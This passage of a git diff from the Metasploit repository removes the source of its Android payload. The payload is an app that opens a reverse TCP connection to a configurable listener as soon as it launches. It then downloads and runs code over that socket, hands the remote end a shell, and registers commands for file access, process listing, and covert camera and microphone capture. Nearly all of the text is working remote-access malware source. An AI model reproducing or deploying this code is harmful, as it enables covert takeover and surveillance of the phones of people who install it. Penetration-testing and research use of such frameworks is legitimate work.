{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
-39
View File
@@ -1,39 +0,0 @@
To compile JavaPayload for Metasploit (including Java Meterpreter), you need
Maven 3.0 or above. Just run
mvn package
to package all the files, or
mvn -P deploy package
to package all the files and copy them into the correct place for Metasploit
(/data/java). If you get spurious compilation errors, make sure that there
is an exclude rule in your antivirus for the Metasploit directory (or that
your antivirus is disabled).
In case you want to edit/debug JavaPayload for Metasploit or Java Meterpreter,
Maven provides plugins to auto-generate project files for your favourite IDE
(at least for Eclipse, Netbeans or IntelliJ). I use Eclipse, so to generate
project files I use
mvn eclipse:eclipse
This will generate project files that can be imported via
File->Import->Existing Projects into Workspace
into your Eclipse workspace.
(Note that if this is your first Maven project you want to use in Eclipse, you
also have to run
mvn -Declipse.workspace=/path/to/your/workspace eclipse:configure-workspace
to set up path variables like M2_REPO to point to the correct location.)
For NetBeans or IntelliJ IDEA, refer to the documentation at
http://maven.apache.org/netbeans-module.html
http://maven.apache.org/plugins/maven-idea-plugin/
+2
View File
@@ -0,0 +1,2 @@
Java Payload source code has moved to its own repository, hosted at
https://github.com/rapid7/metasploit-javapayload
@@ -1,38 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="3"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
-77
View File
@@ -1,77 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-AndroidPayload</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>AndroidPayload for Metasploit</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
<patternset>
<exclude name="META-INF/**"/>
</patternset>
</unzip>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

@@ -1,13 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<Button
android:id="@+id/button_reverse"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="ReverseTCP" />
</LinearLayout>
@@ -1,4 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">MainActivity</string>
</resources>
@@ -1,56 +0,0 @@
package com.metasploit.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
public class LoadStage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the class name
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
String classFile = new String(core);
// Read the stage
coreLen = in.readInt();
core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
myClass.getMethod("start", new Class[] {
DataInputStream.class, OutputStream.class, Context.class, String[].class
}).invoke(stage, new Object[] {
in, out, context, parameters
});
}
}
@@ -1,59 +0,0 @@
package com.metasploit.stage;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
public class MainActivity extends Activity
{
// avoid re-ordering the strings in classes.dex - append XXXX
private static final String LHOST = "XXXX127.0.0.1 ";
private static final String LPORT = "YYYY4444 ";
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
startAsync();
}
});
startAsync();
}
private void startAsync() {
new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
reverseTCP();
return null;
}
}.execute();
}
private void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
new LoadStage().start(in, out, this, new String[] {});
msgsock.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
@@ -1,6 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0">
</manifest>
@@ -1,137 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>Android Meterpreter</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<condition property="dx.filename" value="dx.bat">
<os family="windows" />
</condition>
<property name="dx.filename" value="dx" />
<echo>Building shell</echo>
<delete dir="${project.basedir}/target/dx" />
<mkdir dir="${project.basedir}/target/dx/shell" />
<copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/shell.jar" />
<arg value="${project.basedir}/target/dx/shell" />
</exec>
<echo>Building meterpreter stage</echo>
<mkdir dir="${project.basedir}/target/dx/metstage" />
<copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/metstage.jar" />
<arg value="${project.basedir}/target/dx/metstage" />
</exec>
<echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/meterpreter.jar" />
<arg value="${project.basedir}/target/dx/meterpreter" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter:jar}" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter-stdapi:jar}" />
<arg value="${com.metasploit:Metasploit-JavaPayload:jar}" />
</exec>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
@@ -1,51 +0,0 @@
package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the stage
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class
}).newInstance(in, out, context, false);
}
}
@@ -1,25 +0,0 @@
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
import javapayload.stage.StreamForwarder;
/**
* Meterpreter Java Payload Proxy
*/
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}
@@ -1,44 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}
@@ -1,88 +0,0 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.OutputStream;
import android.content.Context;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android;
import com.metasploit.meterpreter.android.webcam_list_android;
import com.metasploit.meterpreter.android.webcam_start_android;
import com.metasploit.meterpreter.android.webcam_stop_android;
import com.metasploit.meterpreter.stdapi.Loader;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
public class AndroidMeterpreter extends Meterpreter {
private final Context context;
public Context getContext() {
return context;
}
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
this.context = context;
startExecuting();
}
@Override
public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager();
Loader.cwd = context.getFilesDir().getAbsoluteFile();
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_4.class);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
mgr.registerCommand("webcam_list", webcam_list_android.class);
mgr.registerCommand("webcam_start", webcam_start_android.class);
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
return getCommandManager().getNewCommands();
}
}
@@ -1,10 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
protected String getShellPath() {
return "sh";
}
}
@@ -1,46 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class stdapi_sys_process_get_processes_android implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Process proc = Runtime.getRuntime().exec(new String[] {
"sh", "-c", "ps 2>/dev/null"
});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = br.readLine();
if (line == null) {
return ERROR_FAILURE;
}
while ((line = br.readLine()) != null) {
String[] parts = line.replace('\t', ' ').trim().split(" ");
if (parts.length < 2) {
continue;
}
int pid = -1;
for (String part : parts) {
try {
pid = Integer.valueOf(part);
} catch (NumberFormatException e) {
continue;
}
break;
}
TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_PID, pid);
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
}
return ERROR_SUCCESS;
}
}
@@ -1,75 +0,0 @@
package com.metasploit.meterpreter.android;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder.AudioSource;
import android.util.Log;
public class webcam_audio_record_android extends webcam_audio_record implements Command {
private static final int AUDIO_SAMPLE_RATE = 8000;
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
AudioRecord recorder = null;
try {
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
if (fullBuffer < bufferSize) {
fullBuffer = bufferSize;
}
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
DataOutputStream da = new DataOutputStream(baos);
byte[] buffer = new byte[fullBuffer];
recorder.startRecording();
recorder.read(buffer, 0, buffer.length);
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
da.writeBytes("RIFF");
da.writeInt(Integer.reverseBytes(36+fullBuffer));
da.writeBytes("WAVE");
da.writeBytes("fmt ");
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
da.writeBytes("data");
da.writeInt(Integer.reverseBytes(fullBuffer));
da.write(buffer);
da.flush();
} catch (Throwable x) {
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
} finally {
if (recorder != null) {
recorder.stop();
recorder.release();
}
}
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
return ERROR_SUCCESS;
}
}
@@ -1,59 +0,0 @@
package com.metasploit.meterpreter.android;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.PictureCallback;
import android.util.Log;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
public class webcam_get_frame_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
private byte[] cameraData;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
try {
if (webcam_start_android.camera == null) {
return ERROR_FAILURE;
}
cameraData = null;
//Parameters params = webcam_start_android.camera.getParameters();
//params.setPictureFormat(PixelFormat.JPEG);
//params.set("jpeg-quality", quality);
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
cameraData = data;
synchronized (webcam_get_frame_android.this) {
webcam_get_frame_android.this.notify();
}
}
});
synchronized (this) {
wait(10000);
}
if (cameraData != null) {
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -1,58 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class webcam_list_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Object cameraInfo = null;
Field field = null;
int cameraCount = 0;
try {
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
} catch (NoSuchMethodException nsme) {
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
return ERROR_SUCCESS;
}
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
if (cameraInfoClass != null) {
cameraInfo = cameraInfoClass.newInstance();
}
if (cameraInfo != null) {
field = cameraInfo.getClass().getField("facing");
}
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
int facing = field.getInt(cameraInfo);
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
} else {
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
}
}
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -1,42 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.hardware.Camera;
import android.util.Log;
import java.lang.reflect.Method;
public class webcam_start_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
public static Camera camera;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
if (cameraOpenMethod != null) {
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
} else {
camera = Camera.open();
}
camera.setPreviewDisplay(null);
camera.startPreview();
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -1,28 +0,0 @@
package com.metasploit.meterpreter.android;
